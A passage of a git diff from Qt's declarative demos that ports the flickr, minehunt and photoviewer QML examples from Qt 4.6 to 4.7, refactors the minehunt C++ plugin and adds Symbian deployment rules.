-                target: toolBar
-                onButton1Clicked: if (imageDetails.state=='') imageDetails.state='Back'; else imageDetails.state=''
-            }
-            PropertyChanges { target: toolBar; button2Label: "Back" }
-            PropertyChanges { target: toolBar; onButton2Clicked: imageDetails.closed() }
-        }
-
-        transitions: Transition {
-            NumberAnimation { properties: "x"; duration: 500; easing.type: "InOutQuad" }
-        }
-    }
-}
diff --git a/demos/declarative/flickr/flickr.qml b/demos/declarative/flickr/flickr.qml
new file mode 100644
index 0000000..aa550d2
--- /dev/null
+++ b/demos/declarative/flickr/flickr.qml
@@ -0,0 +1,82 @@
+import Qt 4.7
+import "common" as Common
+import "mobile" as Mobile
+
+Item {
+    id: screen; width: 320; height: 480
+    property bool inListView : false
+
+    Rectangle {
+        id: background
+        anchors.fill: parent; color: "#343434";
+
+        Image { source: "mobile/images/stripes.png"; fillMode: Image.Tile; anchors.fill: parent; opacity: 0.3 }
+
+        Common.RssModel { id: rssModel }
+        Common.Loading { anchors.centerIn: parent; visible: rssModel.status == 2 }
+
+        Item {
+            id: views
+            x: 2; width: parent.width - 4
+            anchors.top: titleBar.bottom; anchors.bottom: toolBar.top
+
+            Mobile.GridDelegate { id: gridDelegate }
+            GridView {
+                id: photoGridView; model: rssModel; delegate: gridDelegate; cacheBuffer: 100
+                cellWidth: 79; cellHeight: 79; width: parent.width; height: parent.height - 1; z: 6
+            }
+
+            Mobile.ListDelegate { id: listDelegate }
+            ListView {
+                id: photoListView; model: rssModel; delegate: listDelegate; z: 6
+                width: parent.width; height: parent.height; x: -(parent.width * 1.5); cacheBuffer: 100;
+            }
+            states: State {
+                name: "ListView"; when: screen.inListView == true
+                PropertyChanges { target: photoListView; x: 0 }
+                PropertyChanges { target: photoGridView; x: -(parent.width * 1.5) }
+            }
+
+            transitions: Transition {
+                NumberAnimation { properties: "x"; duration: 500; easing.type: "InOutQuad" }
+            }
+        }
+
+        Mobile.ImageDetails { id: imageDetails; width: parent.width; anchors.left: views.right; height: parent.height; z:1 }
+        Mobile.TitleBar { id: titleBar; z: 5; width: parent.width; height: 40; opacity: 0.9 }
+
+        Mobile.ToolBar {
+            id: toolBar; z: 5
+            height: 40; anchors.bottom: parent.bottom; width: parent.width; opacity: 0.9
+            button1Label: "Update"; button2Label: "View mode"
+            onButton1Clicked: rssModel.reload()
+            onButton2Clicked: if (screen.inListView == true) screen.inListView = false; else screen.inListView = true
+        }
+
+        Connections {
+            target: imageDetails
+            onClosed: {
+                if (background.state == "DetailedView") {
+                    background.state = '';
+                    imageDetails.photoUrl = "";
+                }
+            }
+        }
+
+        states: State {
+            name: "DetailedView"
+            PropertyChanges { target: views; x: -parent.width }
+            PropertyChanges { target: toolBar; button1Label: "More..." }
+            PropertyChanges {
+                target: toolBar
+                onButton1Clicked: if (imageDetails.state=='') imageDetails.state='Back'; else imageDetails.state=''
+            }
+            PropertyChanges { target: toolBar; button2Label: "Back" }
+            PropertyChanges { target: toolBar; onButton2Clicked: imageDetails.closed() }
+        }
+
+        transitions: Transition {
+            NumberAnimation { properties: "x"; duration: 500; easing.type: "InOutQuad" }
+        }
+    }
+}
diff --git a/demos/declarative/flickr/mobile/Button.qml b/demos/declarative/flickr/mobile/Button.qml
index 4ba6b19..74b5aea 100644
--- a/demos/declarative/flickr/mobile/Button.qml
+++ b/demos/declarative/flickr/mobile/Button.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: container
diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml
index 291d874..5ab7b87 100644
--- a/demos/declarative/flickr/mobile/GridDelegate.qml
+++ b/demos/declarative/flickr/mobile/GridDelegate.qml
@@ -1,23 +1,21 @@
- import Qt 4.6
+ import Qt 4.7
 
  Component {
      id: photoDelegate
      Item {
          id: wrapper; width: 79; height: 79
 
-         Script {
-             function photoClicked() {
-                 imageDetails.photoTitle = title;
-                 imageDetails.photoTags = tags;
-                 imageDetails.photoWidth = photoWidth;
-                 imageDetails.photoHeight = photoHeight;
-                 imageDetails.photoType = photoType;
-                 imageDetails.photoAuthor = photoAuthor;
-                 imageDetails.photoDate = photoDate;
-                 imageDetails.photoUrl = url;
-                 imageDetails.rating = 0;
-                 scaleMe.state = "Details";
-             }
+         function photoClicked() {
+             imageDetails.photoTitle = title;
+             imageDetails.photoTags = tags;
+             imageDetails.photoWidth = photoWidth;
+             imageDetails.photoHeight = photoHeight;
+             imageDetails.photoType = photoType;
+             imageDetails.photoAuthor = photoAuthor;
+             imageDetails.photoDate = photoDate;
+             imageDetails.photoUrl = url;
+             imageDetails.rating = 0;
+             scaleMe.state = "Details";
          }
 
          Item {
@@ -54,14 +52,16 @@
              transitions: [
                  Transition {
                      from: "Show"; to: "Details"
-                     ParentAction { }
-                     NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" }
+                     ParentAnimation {
+                         NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" }
+                     }
                  },
                  Transition {
                      from: "Details"; to: "Show"
                      SequentialAnimation {
-                         ParentAction { }
-                         NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" }
+                         ParentAnimation {
+                            NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" }
+                         }
                          PropertyAction { targets: wrapper; properties: "z" }
                      }
                  }
diff --git a/demos/declarative/flickr/mobile/ImageDetails.qml b/demos/declarative/flickr/mobile/ImageDetails.qml
index 2f4df8a..58b0b83 100644
--- a/demos/declarative/flickr/mobile/ImageDetails.qml
+++ b/demos/declarative/flickr/mobile/ImageDetails.qml
@@ -1,10 +1,10 @@
-import Qt 4.6
+import Qt 4.7
 import "../common" as Common
 
 Flipable {
     id: container
 
-    property var frontContainer: containerFront
+    property variant frontContainer: containerFront
     property string photoTitle: ""
     property string photoTags: ""
     property int photoWidth
@@ -14,7 +14,7 @@ Flipable {
     property string photoDate
     property string photoUrl
     property int rating: 2
-    property var prevScale: 1.0
+    property variant prevScale: 1.0
 
     signal closed
 
diff --git a/demos/declarative/flickr/mobile/ListDelegate.qml b/demos/declarative/flickr/mobile/ListDelegate.qml
index 381664b..28ec3d1 100644
--- a/demos/declarative/flickr/mobile/ListDelegate.qml
+++ b/demos/declarative/flickr/mobile/ListDelegate.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Component {
     Item {
diff --git a/demos/declarative/flickr/mobile/TitleBar.qml b/demos/declarative/flickr/mobile/TitleBar.qml
index 0a06771..72b779f 100644
--- a/demos/declarative/flickr/mobile/TitleBar.qml
+++ b/demos/declarative/flickr/mobile/TitleBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: titleBar
@@ -11,12 +11,10 @@ Item {
         id: container
         width: (parent.width * 2) - 55 ; height: parent.height
 
-        Script {
-            function accept() {
-                titleBar.state = ""
-                background.state = ""
-                rssModel.tags = editor.text
-            }
+        function accept() {
+            titleBar.state = ""
+            background.state = ""
+            rssModel.tags = editor.text
         }
 
         Text {
@@ -32,7 +30,7 @@ Item {
 
         Button {
             id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..."
-            onClicked: if (titleBar.state == "Tags") accept(); else titleBar.state = "Tags"
+            onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags"
             anchors.verticalCenter: parent.verticalCenter
         }
 
@@ -57,7 +55,7 @@ Item {
 
             Item {
                 id: returnKey
-                Keys.onReturnPressed: accept()
+                Keys.onReturnPressed: container.accept()
                 Keys.onEscapePressed: titleBar.state = ""
             }
         }
diff --git a/demos/declarative/flickr/mobile/ToolBar.qml b/demos/declarative/flickr/mobile/ToolBar.qml
index f96c767..b29ca16 100644
--- a/demos/declarative/flickr/mobile/ToolBar.qml
+++ b/demos/declarative/flickr/mobile/ToolBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: toolbar
diff --git a/demos/declarative/minehunt/MinehuntCore/Explosion.qml b/demos/declarative/minehunt/MinehuntCore/Explosion.qml
index e337c46..73ada60 100644
--- a/demos/declarative/minehunt/MinehuntCore/Explosion.qml
+++ b/demos/declarative/minehunt/MinehuntCore/Explosion.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 
 Item {
     property bool explode : false
@@ -16,11 +17,9 @@ Item {
         velocity: 100
         velocityDeviation: 20
         z: 100
-        opacity: 1
     }
-    states: [ State { name: "exploding"; when: explode == true
-            StateChangeScript {script: particles.burst(200); }
-        }
-    ]
+    states: State { name: "exploding"; when: explode
+        StateChangeScript {script: particles.burst(200); }
+    }
 
 }
diff --git a/demos/declarative/minehunt/MinehuntCore/Tile.qml b/demos/declarative/minehunt/MinehuntCore/Tile.qml
new file mode 100644
index 0000000..f3620f4
--- /dev/null
+++ b/demos/declarative/minehunt/MinehuntCore/Tile.qml
@@ -0,0 +1,87 @@
+import Qt 4.7
+
+Flipable {
+    id: flipable
+    property int angle: 0
+
+    width: 40;  height: 40
+    transform: Rotation { origin.x: 20; origin.y: 20; axis.x: 1; axis.z: 0; angle: flipable.angle }
+
+    front: Image {
+        source: "pics/front.png"; width: 40; height: 40
+
+        Image {
+            anchors.centerIn: parent
+            source: "pics/flag.png"; opacity: modelData.hasFlag
+
+            Behavior on opacity { NumberAnimation {} }
+        }
+    }
+
+    back: Image {
+        source: "pics/back.png"
+        width: 40; height: 40
+
+        Text {
+            anchors.centerIn: parent
+            text: modelData.hint; color: "white"; font.bold: true
+            opacity: !modelData.hasMine && modelData.hint > 0
+        }
+
+        Image {
+            anchors.centerIn: parent
+            source: "pics/bomb.png"; opacity: modelData.hasMine
+        }
+
+        Explosion { id: expl }
+    }
+
+    states: State {
+        name: "back"; when: modelData.flipped
+        PropertyChanges { target: flipable; angle: 180 }
+    }
+
+    property real pauseDur: 250
+    transitions: Transition {
+        SequentialAnimation {
+            ScriptAction {
+                script: {
+                    var ret = Math.abs(flipable.x - field.clickx)
+                        + Math.abs(flipable.y - field.clicky);
+                    if (modelData.hasMine && modelData.flipped)
+                        pauseDur = ret * 3
+                    else
+                        pauseDur = ret
+                }
+            }
+            PauseAnimation {
+                duration: pauseDur
+            }
+            RotationAnimation { easing.type: "InOutQuad" }
+            ScriptAction { script: if (modelData.hasMine && modelData.flipped) { expl.explode = true } }
+        }
+    }
+
+    MouseArea {
+        anchors.fill: parent
+        acceptedButtons: Qt.LeftButton | Qt.RightButton
+        onClicked: {
+            field.clickx = flipable.x
+            field.clicky = flipable.y
+            var row = Math.floor(index / 9)
+            var col = index - (Math.floor(index / 9) * 9)
+            if (mouse.button == undefined || mouse.button == Qt.RightButton) {
+                flag(row, col)
+            } else {
+                flip(row, col)
+            }
+        }
+        onPressAndHold: {
+            field.clickx = flipable.x
+            field.clicky = flipable.y
+            var row = Math.floor(index / 9)
+            var col = index - (Math.floor(index / 9) * 9)
+            flag(row, col)
+        }
+    }
+}
diff --git a/demos/declarative/minehunt/MinehuntCore/qmldir b/demos/declarative/minehunt/MinehuntCore/qmldir
index 862c396..95bccc8 100644
--- a/demos/declarative/minehunt/MinehuntCore/qmldir
+++ b/demos/declarative/minehunt/MinehuntCore/qmldir
@@ -1,2 +1,3 @@
 plugin minehunt
 Explosion 1.0 Explosion.qml
+Tile 1.0 Tile.qml
diff --git a/demos/declarative/minehunt/README b/demos/declarative/minehunt/README
index 7379dcf..b9f1d2a 100644
--- a/demos/declarative/minehunt/README
+++ b/demos/declarative/minehunt/README
@@ -1,3 +1,3 @@
-To run, simply load the minehunt.qml file with the qml runtime.
+To compile the C++ part, do 'qmake && make'. Minehunt will not run properly if the C++ plugin is not compiled.
 
-Note that on X11, this demo has problems with the native graphicssystem. If you are using the X11 window system, please pass -graphicssystem raster to the qml binary.
+To run, simply load the minehunt.qml file with the qml runtime.
diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp
index 89845ef..d4b0039 100644
--- a/demos/declarative/minehunt/minehunt.cpp
+++ b/demos/declarative/minehunt/minehunt.cpp
@@ -48,22 +48,22 @@
 #include <QTime>
 #include <QTimer>
 
-class Tile : public QObject
+class TileData : public QObject
 {
     Q_OBJECT
 public:
-    Tile() : _hasFlag(false), _hasMine(false), _hint(-1), _flipped(false) {}
+    TileData() : _hasFlag(false), _hasMine(false), _hint(-1), _flipped(false) {}
 
-    Q_PROPERTY(bool hasFlag READ hasFlag WRITE setHasFlag NOTIFY hasFlagChanged);
+    Q_PROPERTY(bool hasFlag READ hasFlag WRITE setHasFlag NOTIFY hasFlagChanged)
     bool hasFlag() const { return _hasFlag; }
 
-    Q_PROPERTY(bool hasMine READ hasMine NOTIFY hasMineChanged);
+    Q_PROPERTY(bool hasMine READ hasMine NOTIFY hasMineChanged)
     bool hasMine() const { return _hasMine; }
 
-    Q_PROPERTY(int hint READ hint NOTIFY hintChanged);
+    Q_PROPERTY(int hint READ hint NOTIFY hintChanged)
     int hint() const { return _hint; }
 
-    Q_PROPERTY(bool flipped READ flipped NOTIFY flippedChanged());
+    Q_PROPERTY(bool flipped READ flipped NOTIFY flippedChanged())
     bool flipped() const { return _flipped; }
 
     void setHasFlag(bool flag) {if(flag==_hasFlag) return; _hasFlag = flag; emit hasFlagChanged();}
@@ -91,19 +91,19 @@ class MinehuntGame : public QObject
 public:
     MinehuntGame();
 
-    Q_PROPERTY(QDeclarativeListProperty<Tile> tiles READ tiles CONSTANT);
-    QDeclarativeListProperty<Tile> tiles() { return QDeclarativeListProperty<Tile>(this, _tiles); }
+    Q_PROPERTY(QDeclarativeListProperty<TileData> tiles READ tiles CONSTANT)
+    QDeclarativeListProperty<TileData> tiles();
 
-    Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged);
+    Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged)
     bool isPlaying() {return playing;}
 
-    Q_PROPERTY(bool hasWon READ hasWon NOTIFY hasWonChanged);
+    Q_PROPERTY(bool hasWon READ hasWon NOTIFY hasWonChanged)
     bool hasWon() {return won;}
 
-    Q_PROPERTY(int numMines READ numMines NOTIFY numMinesChanged);
+    Q_PROPERTY(int numMines READ numMines NOTIFY numMinesChanged)
     int numMines() const{return nMines;}
 
-    Q_PROPERTY(int numFlags READ numFlags NOTIFY numFlagsChanged);
+    Q_PROPERTY(int numFlags READ numFlags NOTIFY numFlagsChanged)
     int numFlags() const{return nFlags;}
 
 public slots:
@@ -120,11 +120,11 @@ signals:
 
 private:
     bool onBoard( int r, int c ) const { return r >= 0 && r < numRows && c >= 0 && c < numCols; }
-    Tile *tile( int row, int col ) { return onBoard(row, col) ? _tiles[col+numRows*row] : 0; }
+    TileData *tile( int row, int col ) { return onBoard(row, col) ? _tiles[col+numRows*row] : 0; }
     int getHint(int row, int col);
     void setPlaying(bool b){if(b==playing) return; playing=b; emit isPlayingChanged();}
 
-    QList<Tile *> _tiles;
+    QList<TileData *> _tiles;
     int numCols;
     int numRows;
     bool playing;
@@ -134,6 +134,28 @@ private:
     int nFlags;
 };
 
+void tilesPropAppend(QDeclarativeListProperty<TileData>* prop, TileData* value)
+{
+    Q_UNUSED(prop);
+    Q_UNUSED(value);
+    return; //Append not supported
+}
+
+int tilesPropCount(QDeclarativeListProperty<TileData>* prop)
+{
+    return static_cast<QList<TileData*>*>(prop->data)->count();
+}
+
+TileData* tilesPropAt(QDeclarativeListProperty<TileData>* prop, int index)
+{
+    return static_cast<QList<TileData*>*>(prop->data)->at(index);
+}
+
+QDeclarativeListProperty<TileData> MinehuntGame::tiles(){
+    return QDeclarativeListProperty<TileData>(this, &_tiles, &tilesPropAppend,
+            &tilesPropCount, &tilesPropAt, 0);
+}
+
 MinehuntGame::MinehuntGame()
 : numCols(9), numRows(9), playing(true), won(false)
 {
@@ -142,7 +164,7 @@ MinehuntGame::MinehuntGame()
 
     //initialize array
     for(int ii = 0; ii < numRows * numCols; ++ii) {
-        _tiles << new Tile;
+        _tiles << new TileData;
     }
     reset();
 
@@ -150,7 +172,7 @@ MinehuntGame::MinehuntGame()
 
 void MinehuntGame::setBoard()
 {
-    foreach(Tile* t, _tiles){
+    foreach(TileData* t, _tiles){
         t->setHasMine(false);
         t->setHint(-1);
     }
@@ -161,7 +183,7 @@ void MinehuntGame::setBoard()
         int col = int((double(rand()) / double(RAND_MAX)) * numCols);
         int row = int((double(rand()) / double(RAND_MAX)) * numRows);
 
-        Tile* t = tile( row, col );
+        TileData* t = tile( row, col );
 
         if (t && !t->hasMine()) {
             t->setHasMine( true );
@@ -172,7 +194,7 @@ void MinehuntGame::setBoard()
     //set hints
     for (int r = 0; r < numRows; r++)
         for (int c = 0; c < numCols; c++) {
-            Tile* t = tile(r, c);
+            TileData* t = tile(r, c);
             if (t && !t->hasMine()) {
                 int hint = getHint(r,c);
                 t->setHint(hint);
@@ -184,7 +206,7 @@ void MinehuntGame::setBoard()
 
 void MinehuntGame::reset()
 {
-    foreach(Tile* t, _tiles){
+    foreach(TileData* t, _tiles){
         t->unflip();
         t->setHasFlag(false);
     }
@@ -199,7 +221,7 @@ int MinehuntGame::getHint(int row, int col)
     int hint = 0;
     for (int c = col-1; c <= col+1; c++)
         for (int r = row-1; r <= row+1; r++) {
-            Tile* t = tile(r, c);
+            TileData* t = tile(r, c);
             if (t && t->hasMine())
                 hint++;
         }
@@ -211,7 +233,7 @@ bool MinehuntGame::flip(int row, int col)
     if(!playing)
         return false;
 
-    Tile *t = tile(row, col);
+    TileData *t = tile(row, col);
     if (!t || t->hasFlag())
         return false;
 
@@ -219,7 +241,7 @@ bool MinehuntGame::flip(int row, int col)
         int flags = 0;
         for (int c = col-1; c <= col+1; c++)
             for (int r = row-1; r <= row+1; r++) {
-                Tile *nearT = tile(r, c);
+                TileData *nearT = tile(r, c);
                 if(!nearT || nearT == t)
                     continue;
                 if(nearT->hasFlag())
@@ -229,7 +251,7 @@ bool MinehuntGame::flip(int row, int col)
             return false;
         for (int c = col-1; c <= col+1; c++)
             for (int r = row-1; r <= row+1; r++) {
-                Tile *nearT = tile(r, c);
+                TileData *nearT = tile(r, c);
                 if (nearT && !nearT->flipped() && !nearT->hasFlag()) {
                     flip( r, c );
                 }
@@ -242,7 +264,7 @@ bool MinehuntGame::flip(int row, int col)
     if (t->hint() == 0) {
         for (int c = col-1; c <= col+1; c++)
             for (int r = row-1; r <= row+1; r++) {
-                Tile* t = tile(r, c);
+                TileData* t = tile(r, c);
                 if (t && !t->flipped()) {
                     flip( r, c );
                 }
@@ -252,7 +274,7 @@ bool MinehuntGame::flip(int row, int col)
     if(t->hasMine()){
         for (int r = 0; r < numRows; r++)//Flip all other mines
             for (int c = 0; c < numCols; c++) {
-                Tile* t = tile(r, c);
+                TileData* t = tile(r, c);
                 if (t && t->hasMine()) {
                     flip(r, c);
                 }
@@ -273,7 +295,7 @@ bool MinehuntGame::flip(int row, int col)
 
 bool MinehuntGame::flag(int row, int col)
 {
-    Tile *t = tile(row, col);
+    TileData *t = tile(row, col);
     if(!t)
         return false;
 
@@ -283,8 +305,7 @@ bool MinehuntGame::flag(int row, int col)
     return true;
 }
 
-QML_DECLARE_TYPE(Tile);
-QML_DECLARE_TYPE(MinehuntGame);
+QML_DECLARE_TYPE(TileData);
 
 class MinehuntExtensionPlugin : public QDeclarativeExtensionPlugin
 {
@@ -293,8 +314,7 @@ class MinehuntExtensionPlugin : public QDeclarativeExtensionPlugin
     public:
     void registerTypes(const char *uri) {
         Q_UNUSED(uri);
-        QML_REGISTER_TYPE(SameGameCore, 0, 1, Tile, Tile);
-        QML_REGISTER_TYPE(SameGameCore, 0, 1, Game, MinehuntGame);
+        qmlRegisterType<TileData>();
     }
 
     void initializeEngine(QDeclarativeEngine *engine, const char *uri) {
@@ -304,7 +324,7 @@ class MinehuntExtensionPlugin : public QDeclarativeExtensionPlugin
 
         MinehuntGame* game = new MinehuntGame();
 
-        engine->rootContext()->addDefaultObject(game);
+        engine->rootContext()->setContextObject(game);
     }
 };
 
diff --git a/demos/declarative/minehunt/minehunt.pro b/demos/declarative/minehunt/minehunt.pro
index 2df33e6..41640f5 100644
--- a/demos/declarative/minehunt/minehunt.pro
+++ b/demos/declarative/minehunt/minehunt.pro
@@ -9,7 +9,6 @@ DESTDIR = MinehuntCore
 # Input
 SOURCES += minehunt.cpp
 
-
 sources.files = minehunt.qml minehunt.pro
 sources.path = $$[QT_INSTALL_DEMOS]/declarative/minehunt
 
@@ -17,9 +16,24 @@ target.path = $$[QT_INSTALL_DEMOS]/declarative/minehunt/MinehuntCore
 
 MinehuntCore_sources.files = \
     MinehuntCore/Explosion.qml \
+    MinehuntCore/Tile.qml \
     MinehuntCore/pics \
     MinehuntCore/qmldir
 MinehuntCore_sources.path = $$[QT_INSTALL_DEMOS]/declarative/minehunt/MinehuntCore
 
 INSTALLS = sources MinehuntCore_sources target
 
+symbian:{
+    load(data_caging_paths)
+    TARGET.EPOCALLOWDLLDATA = 1
+    include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
+    TARGET.CAPABILITY = NetworkServices ReadUserData
+    importFiles.sources = minehunt.dll \
+    MinehuntCore/Explosion.qml \
+    MinehuntCore/pics \
+    MinehuntCore/qmldir
+    importFiles.path = $$QT_IMPORTS_BASE_DIR/MinehuntCore 
+    DEPLOYMENT = importFiles
+}
+ 
+INSTALLS = sources MinehuntCore_sources target
diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml
index 9e99706..5ed78fb 100644
--- a/demos/declarative/minehunt/minehunt.qml
+++ b/demos/declarative/minehunt/minehunt.qml
@@ -1,190 +1,59 @@
-import Qt 4.6
-import MinehuntCore 1.0
+import Qt 4.7
+import "MinehuntCore" 1.0
 
 Item {
     id: field
-    width: 370
-    height: 480
+    property int clickx: 0
+    property int clicky: 0
 
-    property int clickx : 0
-    property int clicky : 0
+    width: 450; height: 450
 
-    resources: [
-        Component {
-            id: tile
-            Flipable {
-                id: flipable
-                width: 40
-                height: 40
-                property int angle: 0;
-                transform: Rotation {
-                    origin.x: 20
-                    origin.y: 20
-                    axis.x: 1
-                    axis.z: 0
-                    angle: flipable.angle;
-                }
-                front: Image {
-                    source: "MinehuntCore/pics/front.png"
-                    width: 40
-                    height: 40
-                    Image {
-                        anchors.horizontalCenter: parent.horizontalCenter
-                        anchors.verticalCenter: parent.verticalCenter
-                        source: "MinehuntCore/pics/flag.png"
-                        opacity: modelData.hasFlag
-                        Behavior on opacity {
-                            NumberAnimation {
-                                property: "opacity"
-                                duration: 250
-                            }
-                        }
-                    }
-                }
-                back: Image {
-                    source: "MinehuntCore/pics/back.png"
-                    width: 40
-                    height: 40
-                    Text {
-                        anchors.horizontalCenter: parent.horizontalCenter
-                        anchors.verticalCenter: parent.verticalCenter
-                        text: modelData.hint
-                        color: "white"
-                        font.bold: true
-                        opacity: !modelData.hasMine && modelData.hint > 0
-                    }
-                    Image {
-                        anchors.horizontalCenter: parent.horizontalCenter
-                        anchors.verticalCenter: parent.verticalCenter
-                        source: "MinehuntCore/pics/bomb.png"
-                        opacity: modelData.hasMine
-                    }
-                    Explosion {
-                        id: expl
-                    }
-                }
-                states: [
-                    State {
-                        name: "back"
-                        when: modelData.flipped
-                        PropertyChanges { target: flipable; angle: 180 }
-                    }
-                ]
-                transitions: [
-                    Transition {
-                        SequentialAnimation {
-                            PauseAnimation {
-                                duration: {
-                                    var ret;
-                                    if(flipable.parent != null)
-                                        ret = Math.abs(flipable.parent.x-field.clickx)
-                                            + Math.abs(flipable.parent.y-field.clicky);
-                                    else
-                                        ret = 0;
-                                    if (ret > 0) {
-                                        if (modelData.hasMine && modelData.flipped) {
-                                            ret*3;
-                                        } else {
-                                            ret;
-                                        }
-                                    } else {
-                                        0;
-                                    }
-                                }
-                            }
-                            NumberAnimation {
-                                easing.type: "InOutQuad"
-                                properties: "angle"
-                            }
-                            ScriptAction{
-                                script: if(modelData.hasMine && modelData.flipped){expl.explode = true;}
-                            }
-                        }
-                    }
-                ]
-                MouseArea {
-                    anchors.fill: parent
-                    acceptedButtons: Qt.LeftButton | Qt.RightButton
-                    onPressed: {
-                        field.clickx = flipable.parent.x;
-                        field.clicky = flipable.parent.y;
-                        var row = Math.floor(index/9);
-                        var col = index - (Math.floor(index/9) * 9);
-                        if (mouse.button==undefined || mouse.button==Qt.RightButton) {
-                            flag(row,col);
-                        } else {
-                            flip(row,col);
-                        }
-                    }
-                }
-            }
-        }
-    ]
-    Image {
-        source: "MinehuntCore/pics/No-Ones-Laughing-3.jpg"
-        fillMode: Image.Tile
-    }
-    Repeater {
-        id: repeater
-        model: tiles
-        x: 1
-        y: 1
-        Component {
-            Loader {
-                sourceComponent: tile
-                x: (index - (Math.floor(index/9) * 9)) * 41
-                y: Math.floor(index/9) * 41
-            }
+    Image { source: "MinehuntCore/pics/No-Ones-Laughing-3.jpg"; anchors.fill: parent; fillMode: Image.Tile }
+
+    Grid {
+        anchors.horizontalCenter: parent.horizontalCenter
+        columns: 9; spacing: 1
+
+        Repeater {
+            id: repeater
+            model: tiles
+            delegate: Tile {}
         }
     }
+
     Row {
         id: gamedata
-       // width: 370
-       // height: 100
-        y: 400
-        x: 20
-        spacing: 20
+        x: 20; spacing: 20
+        anchors.bottom: field.bottom; anchors.bottomMargin: 15
+
         Column {
             spacing: 2
-            width: childrenRect.width
-            Image {
-         //       x: 100
-         //       y: 20
-                source: "MinehuntCore/pics/bomb-color.png"
-            }
-            Text {
-         //       x: 100
-         //       y: 60
-                anchors.horizontalCenter: parent.horizontalCenter
-                color: "white"
-                text: numMines
-            }
+            Image { source: "MinehuntCore/pics/bomb-color.png" }
+            Text { anchors.horizontalCenter: parent.horizontalCenter; color: "white"; text: numMines }
         }
+
         Column {
             spacing: 2
-            width: childrenRect.width
-            Image {
-         //       x: 140
-         //       y: 20
-                source: "MinehuntCore/pics/flag-color.png"
-            }
-            Text {
-         //       x: 140
-         //       y: 60
-                anchors.horizontalCenter: parent.horizontalCenter
-                color: "white"
-                text: numFlags
-            }
+            Image { source: "MinehuntCore/pics/flag-color.png" }
+            Text { anchors.horizontalCenter: parent.horizontalCenter; color: "white"; text: numFlags }
         }
     }
+
     Image {
-        y: 390
-        anchors.right: field.right
-        anchors.rightMargin: 20
-        source: isPlaying ? 'MinehuntCore/pics/face-smile.png' : hasWon ? 'MinehuntCore/pics/face-smile-big.png': 'MinehuntCore/pics/face-sad.png'
-        MouseArea {
-            anchors.fill: parent
-            onPressed: { reset() }
-        }
+        anchors.bottom: field.bottom; anchors.bottomMargin: 15
+        anchors.right: field.right; anchors.rightMargin: 20
+        source: isPlaying ? 'MinehuntCore/pics/face-smile.png' :
+        hasWon ? 'MinehuntCore/pics/face-smile-big.png': 'MinehuntCore/pics/face-sad.png'
+
+        MouseArea { anchors.fill: parent; onPressed: reset() }
+    }
+    Text {
+        anchors.centerIn: parent; width: parent.width - 20
+        horizontalAlignment: Text.AlignHCenter
+        wrapMode: Text.WordWrap
+        text: "Minehunt will not run properly if the C++ plugin is not compiled.\n\nPlease see README."
+        color: "white"; font.bold: true; font.pixelSize: 14
+        visible: tiles == undefined
     }
+
 }
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml
new file mode 100644
index 0000000..cd9ecbc
--- /dev/null
+++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml
@@ -0,0 +1,103 @@
+import Qt 4.7
+
+Component {
+    id: albumDelegate
+    Package {
+
+        Item {
+            Package.name: 'browser'
+            GridView {
+                id: photosGridView; model: visualModel.parts.grid; width: mainWindow.width; height: mainWindow.height - 21
+                x: 0; y: 21; cellWidth: 160; cellHeight: 153; interactive: false
+                onCurrentIndexChanged: photosListView.positionViewAtIndex(currentIndex, ListView.Contain)
+            }
+        }
+
+        Item {
+            Package.name: 'fullscreen'
+            ListView {
+                id: photosListView; model: visualModel.parts.list; orientation: Qt.Horizontal
+                width: mainWindow.width; height: mainWindow.height; interactive: false
+                onCurrentIndexChanged: photosGridView.positionViewAtIndex(currentIndex, GridView.Contain)
+                highlightRangeMode: ListView.StrictlyEnforceRange; snapMode: ListView.SnapOneItem
+            }
+        }
+
+        Item {
+            Package.name: 'album'
+            id: albumWrapper; width: 210; height: 220
+
+            VisualDataModel {
+                id: visualModel; delegate: PhotoDelegate { }
+                model: RssModel { id: rssModel; tags: tag }
+            }
+
+            BusyIndicator {
+                id: busyIndicator
+                anchors { centerIn: parent; verticalCenterOffset: -20 }
+                on: rssModel.status != XmlListModel.Ready
+            }
+
+            PathView {
+                id: photosPathView; model: visualModel.parts.stack; pathItemCount: 5
+                visible: !busyIndicator.visible
+                anchors.centerIn: parent; anchors.verticalCenterOffset: -30
+                path: Path {
+                    PathAttribute { name: 'z'; value: 9999.0 }
+                    PathLine { x: 1; y: 1 }
+                    PathAttribute { name: 'z'; value: 0.0 }
+                }
+            }
+
+            MouseArea {
+                anchors.fill: parent
+                onClicked: mainWindow.editMode ? photosModel.remove(index) : albumWrapper.state = 'inGrid'
+            }
+
+            Tag {
+                anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 10 }
+                frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode
+                onTagChanged: rssModel.tags = tag
+                onBackClicked: if (mainWindow.editMode) photosModel.remove(index);
+            }
+
+            states: [
+            State {
+                name: 'inGrid'
+                PropertyChanges { target: photosGridView; interactive: true }
+                PropertyChanges { target: albumsShade; opacity: 1 }
+                PropertyChanges { target: backButton; onClicked: albumWrapper.state = ''; y: 6 }
+            },
+            State {
